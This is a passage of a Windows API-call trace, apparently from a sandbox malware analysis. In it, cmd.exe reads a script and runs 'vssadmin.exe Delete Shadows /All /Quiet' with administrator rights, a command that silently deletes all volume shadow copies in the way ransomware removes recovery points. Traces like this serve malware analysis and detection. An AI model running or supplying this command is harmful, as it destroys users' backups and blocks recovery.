cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr=" e\n\n\nA\"\n") returned 1 [0069.080] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.080] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.080] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="/\n\n\nA\"\n") returned 1 [0069.080] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.080] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.080] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35a, cchWideChar=1 | out: lpWideCharStr="A\n\nA\"\n") returned 1 [0069.080] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.080] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.080] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35c, cchWideChar=1 | out: lpWideCharStr="l\nA\"\n") returned 1 [0069.080] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.080] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.081] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35e, cchWideChar=1 | out: lpWideCharStr="lA\"\n") returned 1 [0069.081] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.081] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.081] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e360, cchWideChar=1 | out: lpWideCharStr=" \"\n") returned 1 [0069.081] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.081] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.081] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e362, cchWideChar=1 | out: lpWideCharStr="/\n") returned 1 [0069.081] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.081] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.081] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e364, cchWideChar=1 | out: lpWideCharStr="Q") returned 1 [0069.081] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.081] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.081] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e366, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0069.081] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.081] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.082] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e368, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0069.082] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.082] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.082] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e36a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0069.082] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.082] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.082] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e36c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0069.082] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.082] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.082] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e36e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0069.082] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.082] GetFileType (hFile=0xb8) returned 0x3 [0069.082] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.082] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.082] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.083] GetFileType (hFile=0x120) returned 0x3 [0069.083] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin.exe Delete Shadows /All /Quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin.exe Delete Shadows /All /Quiet\n", lpUsedDefaultChar=0x0) returned 41 [0069.083] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x28, lpOverlapped=0x0) returned 1 [0069.083] GetProcessHeap () returned 0x1b0000 [0069.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0069.083] GetProcessHeap () returned 0x1b0000 [0069.083] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0069.083] GetProcessHeap () returned 0x1b0000 [0069.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0069.083] GetProcessHeap () returned 0x1b0000 [0069.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2a) returned 0x1c6510 [0069.083] GetProcessHeap () returned 0x1b0000 [0069.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x48) returned 0x1caa40 [0069.083] GetConsoleOutputCP () returned 0x1b5 [0069.083] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0069.083] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.084] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.084] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vssadmin.exe")) returned 0xffffffff [0069.084] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0069.084] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0069.084] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0069.084] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0069.084] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0069.084] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0069.084] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0069.084] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0069.084] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0069.084] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0069.084] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0069.084] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0069.085] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0069.085] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0069.085] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0069.085] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0069.085] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0069.085] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0069.085] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0069.085] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0069.086] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0069.086] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0069.086] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0069.086] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0069.086] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0069.086] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0069.086] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0069.086] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0069.086] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0069.086] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0069.086] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0069.086] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0069.086] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0069.086] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0069.086] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0069.086] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0069.086] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0069.086] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0069.086] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0069.086] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0069.086] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0069.086] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0069.086] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0069.087] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0069.087] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0069.087] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0069.087] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0069.087] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0069.087] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0069.087] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0069.087] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0069.087] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0069.087] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0069.087] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0069.087] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0069.087] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0069.087] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0069.087] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0069.087] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0069.087] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0069.087] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0069.087] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0069.087] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0069.087] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0069.087] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0069.087] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0069.087] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0069.087] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0069.087] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0069.087] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0069.087] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0069.088] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0069.088] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0069.088] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0069.088] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0069.088] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0069.088] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0069.088] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0069.088] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0069.088] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0069.088] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0069.088] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0069.088] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0069.088] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0069.088] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0069.088] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0069.088] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0069.088] GetProcessHeap () returned 0x1b0000 [0069.088] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0069.088] GetProcessHeap () returned 0x1b0000 [0069.088] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x62) returned 0x1cba10 [0069.088] GetProcessHeap () returned 0x1b0000 [0069.088] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0069.088] SetErrorMode (uMode=0x0) returned 0x1 [0069.088] SetErrorMode (uMode=0x1) returned 0x0 [0069.089] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0069.089] SetErrorMode (uMode=0x1) returned 0x1 [0069.089] GetProcessHeap () returned 0x1b0000 [0069.089] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x76) returned 0x1cc5b0 [0069.089] GetProcessHeap () returned 0x1b0000 [0069.089] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x76 [0069.089] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0069.089] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0069.089] GetProcessHeap () returned 0x1b0000 [0069.089] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0069.089] GetProcessHeap () returned 0x1b0000 [0069.089] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0069.089] GetProcessHeap () returned 0x1b0000 [0069.089] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0069.089] GetProcessHeap () returned 0x1b0000 [0069.089] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0069.089] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.089] GetProcessHeap () returned 0x1b0000 [0069.089] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0069.089] GetProcessHeap () returned 0x1b0000 [0069.089] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0069.089] GetProcessHeap () returned 0x1b0000 [0069.089] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0069.089] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.089] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0069.090] GetLastError () returned 0x2 [0069.090] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0069.090] GetLastError () returned 0x2 [0069.090] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0069.090] GetLastError () returned 0x2 [0069.090] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.090] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0069.091] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0069.091] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.091] GetProcessHeap () returned 0x1b0000 [0069.091] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0069.091] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.091] GetProcessHeap () returned 0x1b0000 [0069.091] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xc8) returned 0x1c9180 [0069.091] GetProcessHeap () returned 0x1b0000 [0069.091] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xc8 [0069.091] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin.exe Delete Shadows /All /Quiet") returned 1 [0069.092] GetProcessHeap () returned 0x1b0000 [0069.092] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0069.092] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0069.092] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0069.092] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0069.092] GetProcessHeap () returned 0x1b0000 [0069.092] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0069.092] GetProcessHeap () returned 0x1b0000 [0069.092] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0069.092] GetProcessHeap () returned 0x1b0000 [0069.092] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89b0 [0069.092] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe Delete Shadows /All /Quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="vssadmin.exe Delete Shadows /All /Quiet", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xa1c, dwThreadId=0xaa0)) returned 1 [0069.105] CloseHandle (hObject=0x50) returned 1 [0069.105] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0069.105] GetProcessHeap () returned 0x1b0000 [0069.105] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0069.105] GetEnvironmentStringsW () returned 0x1cba90* [0069.105] GetProcessHeap () returned 0x1b0000 [0069.105] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0069.105] FreeEnvironmentStringsW (penv=0x1cba90) returned 1 [0069.105] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0069.105] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd4000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0069.105] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0145.524] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x0) returned 1 [0145.524] CloseHandle (hObject=0x54) returned 1 [0145.524] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000000") returned 8 [0145.524] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0145.524] GetProcessHeap () returned 0x1b0000 [0145.524] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0145.524] GetEnvironmentStringsW () returned 0x1d1b10* [0145.524] GetProcessHeap () returned 0x1b0000 [0145.524] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0145.524] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0145.524] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0145.524] GetProcessHeap () returned 0x1b0000 [0145.525] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0145.525] GetEnvironmentStringsW () returned 0x1cba90* [0145.525] GetProcessHeap () returned 0x1b0000 [0145.525] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 